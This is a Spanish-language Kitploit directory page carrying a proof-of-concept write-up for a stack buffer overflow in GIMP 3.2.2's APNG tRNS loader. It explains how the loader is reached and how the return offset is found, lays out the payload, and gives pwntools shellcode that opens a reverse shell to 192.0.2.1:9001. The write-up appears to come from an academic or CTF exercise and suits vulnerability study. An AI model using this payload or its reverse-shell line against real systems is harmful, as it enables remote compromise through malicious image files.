Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-92183_GIMP_RCE_Proof-of-Concept — GIMP 3.2.2 contiene un desbordamiento de búfer basado en pila en su cargador de APNG (load_apng_image) al procesar el chunk tRNS (transparencia). Este análisis demuestra una prueba de concepto para la ejecución remota de código aprovechando esta vulnerabilidad. | Kitploit
Herramientas/GitHubGitHub/cxu0630/cve-2026-92183_gimp_rce_proof-of-concept
Forensia de MemoriaGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónIngeniería InversaShellcodePapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
Compartir
GitHubcxu0630/cve-2026-92183_gimp_rce_proof-of-concept

CVE-2026-92183_GIMP_RCE_Proof-of-Concept

GIMP 3.2.2 contiene un desbordamiento de búfer basado en pila en su cargador de APNG (load_apng_image) al procesar el chunk tRNS (transparencia). Este análisis demuestra una prueba de concepto para la ejecución remota de código aprovechando esta vulnerabilidad.

Ver Repositorio
7hace 16 díasAún no revisado

CVE-2026-92183: Desbordamiento de búfer de pila en tRNS de APNG en GIMP → RCE

Autor: Chloe Xu, Abby Farrell, George Avdella, Austin Chan
Fecha: 2026-11-03
Objetivo: GIMP 3.2.2 (Linux x86_64)
CVE: CVE-2026-92183 (7.8 ALTA)
CWE: CWE-121: Desbordamiento de búfer basado en pila
Impacto: Ejecución remota de código (mediante un archivo PNG/APNG malicioso)

Aviso legal: Este análisis es solo con fines educativos. Los números de CVE y de versión provienen de un ejercicio académico/CTF controlado. No lo utilices contra sistemas que no sean tuyos o para los que no tengas permiso explícito de probar.


1. Descripción general

GIMP 3.2.2 contiene un desbordamiento de búfer basado en pila en su cargador de APNG (load_apng_image) al procesar el chunk tRNS (transparencia). La longitud del chunk se acepta sin validación contra el búfer de destino fijo de 256 bytes trns[256], lo que permite a un atacante sobrescribir la pila y secuestrar el flujo de control.

El análisis público existente demuestra solo una denegación de servicio (GIMP se bloquea). Este documento amplía el análisis hasta un exploit completo de reverse shell mediante:

  1. La creación de un PNG válido que fuerza a GIMP a seguir la ruta de análisis de APNG mediante los chunks acTL/fcTL.
  2. La inyección de un chunk tRNS malicioso cuya longitud supera los 256 bytes.
  3. La colocación de shellcode en la pila y la sobrescritura de la dirección de retorno guardada para saltar a él.

El exploit asume un entorno no endurecido (ASLR deshabilitado, NX deshabilitado, sin canario de pila) tal como se describe en las diapositivas de referencia. También analizamos por qué importan estas mitigaciones y cómo se comporta el exploit cuando están habilitadas.


2. Análisis de la vulnerabilidad

2.1 Estructura de chunks de PNG y APNG

Un archivo PNG consta de chunks:

CampoTamaño
Longitud4 bytes (big-endian)
Tipo de chunk4 bytes (ASCII)
Datos del chunkLength bytes
CRC4 bytes

APNG amplía PNG con chunks auxiliares adicionales:

  • acTL (Control de animación) — marca el archivo como APNG. Debe aparecer antes del primer IDAT.
  • fcTL (Control de fotograma) — precede a los datos de cada fotograma.
  • fdAT (Datos de fotograma) — contiene los datos del fotograma (alternativa a IDAT para los fotogramas posteriores).

El plugin PNG de GIMP (file-png) se ramifica a load_apng_file cuando ve un chunk acTL, incluso si la extensión del archivo es .png.

2.2 El código vulnerable

Del diff del parche:

Versión vulnerable (GIMP 3.2.2):

else if (png_id == id_tRNS)
{
    for (gint i = 0; i < chunk.size; i++)
        trns[i] = chunk.data[i + 8];
}

Versión parcheada (GIMP 3.2.6):

gint transparent_size = MIN(chunk.size, 256);
for (gint i = 0; i < transparent_size - 8; i++)
    trns[i] = chunk.data[i + 8];

El búfer de destino se declara como:

guchar trns[256];

Como chunk.size se lee directamente del archivo y no está acotado, un chunk tRNS con size > 256 desborda trns[] en la pila. El desplazamiento + 8 indica que chunk.data apunta al inicio del chunk (incluyendo la cabecera de 8 bytes de longitud + tipo), por lo que chunk.data[i + 8] lee los bytes de datos reales.

2.3 Alcanzando la función vulnerable

Diagrama de proceso para alcanzar load_apng_image()

Cuando se abre un archivo, el núcleo de GIMP selecciona el cargador antes de que se ejecute cualquier código del plug-in. file_open_pre_check() llama a gimp_plug_in_manager_file_procedure_find(), que hace coincidir por extensión o bytes mágicos. Un archivo .apng va a file-apng-load, y un archivo con la firma PNG va a file-png-load. El núcleo ejecuta el procedimiento elegido mediante gimp_plug_in_manager_call_run(), que lanza el plug-in file-png como proceso hijo y envía el nombre del procedimiento y los argumentos por una tubería. En el hijo, load_image() siempre se ejecuta primero y construye la capa PNG base. apng_load() luego llama a load_apng_image() incondicionalmente. png_load() lo llama solo si load_image() vio un chunk png/fcTL. load_apng_image() reabre el archivo y analiza los chunks por sí mismo, por lo que la pasada anterior de libpng no valida nada para él. png_load() también ignora su valor de retorno e informa éxito en cualquier caso.

El hijo es creado por gimp_spawn_async(), que en sistemas POSIX llama a vfork() y luego inmediatamente a execve() (app/core/gimp-spawn.c:171-199). execve() descarta las asignaciones de memoria del hijo y carga el binario file-png y sus bibliotecas desde cero. Por lo tanto, el hijo no conserva nada del heap ni de la pila del padre, y en sistemas con ASLR obtiene una disposición de direcciones nueva para cada apertura de imagen. Lo que sobrevive al exec es el ID de proceso, los privilegios del usuario, el entorno que GIMP pasa, y cualquier descriptor de archivo no marcado como close-on-exec. Estos incluyen los dos extremos de tubería pasados en la línea de comandos. Los propios extremos de tubería del padre están marcados como close-on-exec para que el hijo no los herede. Esto aísla la memoria pero no pone en sandbox al hijo. Un hijo comprometido aún puede ejecutarse como el usuario, leer los mismos archivos, y enviar al padre mensajes y datos de tiles manipulados a través de la tubería y la memoria compartida.


3. Desarrollo del exploit

3.1 Diseño de la pila y desplazamiento

El marco de pila de la función vulnerable (simplificado, compilado con -O2 -z execstack -fno-stack-protector):

+------------------+  <- lower addresses
| trns[256]        |  (offset 0)
+------------------+
| ...              |
| saved RBP        |
| saved RIP        |  <- return address
+------------------+  <- higher addresses

El desplazamiento exacto desde el inicio de trns hasta la dirección de retorno guardada depende del compilador y de las variables locales circundantes. En el entorno de referencia es de 312 bytes. Lo determinamos mediante:

  1. Enviar un patrón cíclico como los datos de tRNS.
  2. Provocar un fallo en GIMP bajo GDB.
  3. Inspeccionar el valor de RIP en el momento del fallo y calcular el desplazamiento con cyclic_find().

Con -O2, es probable que el iterador del bucle i se almacene en un registro, por lo que no se sitúa entre el búfer y la dirección de retorno. El desplazamiento de 312 bytes corresponde a trns[256] más la alineación y otros registros guardados.

3.2 Diseño del payload

Los datos de tRNS son:

[ 312 bytes 'A' ] [ 8-byte return address ] [ 1410 bytes NOP sled ] [ shellcode ]
  • Filler: rellena trns y alcanza la dirección de retorno guardada.
  • Dirección de retorno = 0x7ffffffffdeb2 + 0x10 (apunta al NOP sled).
  • NOP Sled: proporciona una zona de aterrizaje.
  • Shellcode: ejecuta execve("/bin/bash", ...) para lanzar una reverse shell.

Shellcode (generado con pwntools):

context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
    '/bin/bash',
    ['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
    {'PATH': '/usr/bin:/bin'}
))

El execve reemplaza el proceso hijo file-png con un shell. Debido a que GIMP bifurca un proceso hijo para la ejecución del plugin, el shell sobrevive de forma independiente al proceso principal de GIMP (que se queda colgado esperando al plugin). El atacante recibe un shell inverso en el puerto 9001.


Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    594
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    376
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    326
  • 5

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    321

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →